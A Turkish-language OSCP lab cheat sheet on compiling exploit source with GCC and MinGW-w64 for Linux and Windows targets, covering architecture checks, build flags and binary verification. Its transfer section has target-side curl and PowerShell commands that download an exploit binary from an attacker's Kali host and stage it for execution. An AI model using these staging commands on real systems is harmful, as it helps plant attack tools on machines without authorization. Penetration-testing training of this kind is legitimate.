Exploit Compilation — GCC & MinGW¶
OSCP / Yetkili Lab: Bu sayfa kaynak kodu (C) Kali üzerinde hedef işletim sistemi + mimariye uygun binary'ye dönüştürmek içindir. Binary oluşması güvenli veya çalışır olduğu anlamına gelmez; önce kodu incele ve hedef mimarisini doğrula. Reverse shell ve payload hazırlama için Reverse Shell ve MSFvenom sayfalarına bak.
00 — Hedef Mimarisi ve Derleyici Kontrolü¶
HEDEF Linux / BSD:
uname -m
getconf LONG_BIT 2>/dev/null
cat /etc/os-release 2>/dev/null
HEDEF Windows (CMD):
echo %PROCESSOR_ARCHITECTURE%
systeminfo | findstr /i "System Type"
KALI:
uname -m
command -v gcc x86_64-w64-mingw32-gcc i686-w64-mingw32-gcc
file exploit.c
x86_64 / amd64: 64-bit x86;i386 / i686: 32-bit x86;aarch64: ARM64.- Windows
PROCESSOR_ARCHITECTUREçalışan işlemin mimarisini gösterebilir; 32-bit süreçte 64-bit Windows farklı görünebilir. Sistem türünü ayrıca doğrula. gccKali'de normalde Linux ELF üretir. Windows.exeiçin MinGW cross-compiler gerekir.
01 — Linux GCC (ELF)¶
KALI — temel derleme:
# Kali x86_64 ise çoğunlukla Linux x86_64 ELF:
gcc exploit.c -o exploit
# 32-bit x86 Linux (gerekli multilib paketleri kuruluysa):
gcc -m32 exploit.c -o exploit32
# Daha az harici shared library bağımlılığı için statik derleme:
gcc -static exploit.c -o exploit_static
# POSIX threads gerekiyorsa (tercih: -pthread):
gcc exploit.c -o exploit -pthread
# Kod OpenSSL işlevleri kullanıyorsa:
gcc exploit.c -o exploit -lssl -lcrypto
Hedefte 32-bit ise, derleyicinin 32-bit header/library desteği gerekir; Kali'de eksikse gcc-multilib ve libc6-dev-i386 paketlerini lab öncesinde hazırla. -static her kütüphane/uyumluluk sorununu çözmez: statik library kurulu olmalı, dosya büyür, kernel/syscall uyumluluğu hâlâ önemlidir.
Derleme seçenekleri
| Seçenek | Açıklama |
|---|---|
-o exploit |
Çıktı dosyasının adı |
-m32 |
x86 üzerinde 32-bit çıktı; toolchain + 32-bit lib ister |
-static |
Uygun kütüphaneleri statik bağlar; evrensel taşınabilirlik garantisi yok |
-pthread |
Derleme ve bağlama için POSIX thread desteği; çoğu durumda -lpthread yerine tercih edilir |
-lssl -lcrypto |
İlgili OpenSSL kütüphanelerini bağlar; gerçekten kullanılıyorsa |
-Wall -Wextra |
Derleyici uyarılarını artırır |
02 — Windows MinGW-w64 (PE/EXE)¶
KALI — Linux'tan Windows'a cross-compile:
# Windows x64 PE32+:
x86_64-w64-mingw32-gcc exploit.c -o exploit64.exe
# Windows x86 PE32:
i686-w64-mingw32-gcc exploit.c -o exploit32.exe
# Winsock (WSAStartup, socket, connect vb.) kullanılıyorsa:
x86_64-w64-mingw32-gcc exploit.c -o exploit64.exe -lws2_32
mingw-w64 kurulu değilse Kali'de sudo apt install mingw-w64 ile eklenebilir. -lws2_32 Windows Winsock 2 kütüphanesini bağlar. Sadece #include <winsock2.h> görmek yetmez; kaynak kodda ilgili fonksiyon çağrılarını ve istenen kütüphaneleri kontrol et.
{% hint style="warning" %} Mimari notu: Normal bir 32-bit Windows EXE, birçok 64-bit Windows sisteminde WoW64 ile çalışabilir; 64-bit EXE 32-bit Windows'ta çalışmaz. Ancak bir exploit'in hedef işlem, API, pointer/offset ve derleme beklentileri değişebilir. Exploit'in kendi 32/64-bit koşullarını mutlaka doğrula. {% endhint %}
03 — Oluşan Binary'yi Doğrula¶
KALI — çalıştırmadan önce:
# Linux ELF:
file exploit exploit32 exploit_static
readelf -h exploit | head -30
readelf -l exploit | grep -i interpreter
# Windows PE:
file exploit64.exe exploit32.exe
x86_64-w64-mingw32-objdump -f exploit64.exe
Beklenen:
- Linux x64:
ELF 64-bit ... x86-64 - Linux x86:
ELF 32-bit ... Intel 80386 - Windows x64:
PE32+ executable ... x86-64 - Windows x86:
PE32 executable ... Intel 80386
Hata → Kontrol
| Hata | İlk kontrol |
|---|---|
Exec format error |
Yanlış OS/mimari (ELF vs PE, x86 vs ARM) |
No such file or directory ama dosya var |
ELF interpreter/loader veya #!/... yolu yok olabilir |
cannot find -l... |
Gerekli development/static kütüphanesi kurulu değil |
stdio.h: No such file, -m32 |
Eksik 32-bit header / multilib |
undefined reference to... |
Linker kütüphanesi eksik ya da sırası yanlış |
| Windows EXE açılmıyor | 32/64-bit, hedef OS, DLL ve exploit gereksinimleri |
04 — servecx 9696 ile Aktarım¶
CX AIO'da Kali dosya sunucusu servecx 9696 olarak kullanılır. servecx'nin sunduğu gerçek kök dizini içinde dosyanın bulunması gerekir; /exploit URL'sini körlemesine varsayma.
KALI — önce dosyanın HTTP ile sunulduğunu doğrula:
servecx 9696
KALI_IP="$(ip -4 -o addr show tun0 | awk '{print $4}' | cut -d/ -f1)"
# exploit dosyasını servecx'nin sunduğu dizine yerleştirdikten sonra:
curl -fsS "http://$KALI_IP:9696/exploit" -o /tmp/cx-exploit-check
file /tmp/cx-exploit-check
HEDEF Linux — gerçek Kali IP'sini kullan:
curl -fsS http://192.168.45.10:9696/exploit -o /tmp/exploit
file /tmp/exploit
chmod 700 /tmp/exploit
# Kaynağı ve mimariyi doğruladıktan sonra, yetkili labda:
# /tmp/exploit
HEDEF Windows — PowerShell:
Invoke-WebRequest -Uri 'http://192.168.45.10:9696/exploit64.exe' -OutFile 'C:\Windows\Temp\exploit64.exe'
# Sonra dosyanın PE mimarisini, bütünlüğünü ve hedef uyumluluğunu doğrula.
Not: chmod +x yalnız dosya doğrudan başlatılacaksa gerekir; bash script.sh gibi yorumlayıcıyla çağrılan bir script için yürütme biti şart değildir. Binary için yorumlayıcı yoktur. Hedefin /tmp dizini noexec ise alternatif yürütülebilir dizin gerekir.
05 — OSCP Hızlı Karar¶
| Hedef | Komut | Sonuç |
|---|---|---|
| Linux x64 | gcc exploit.c -o exploit |
ELF x86_64 (Kali x64 ise) |
| Linux x86 | gcc -m32 exploit.c -o exploit32 |
ELF x86 |
| Linux, dynamic lib uyumsuzluğu | gcc -static ... |
Uygunsa statik ELF |
| Windows x64 | x86_64-w64-mingw32-gcc ... |
PE32+ |
| Windows x86 | i686-w64-mingw32-gcc ... |
PE32 |
| Windows socket kodu | ... -lws2_32 |
Winsock bağlantısı |
İlgili: CX AIO · Reverse Shell · Dosya Transferi · MSFvenom.
Kaynaklar: GCC target notes · GCC options · MinGW-w64 toolchains.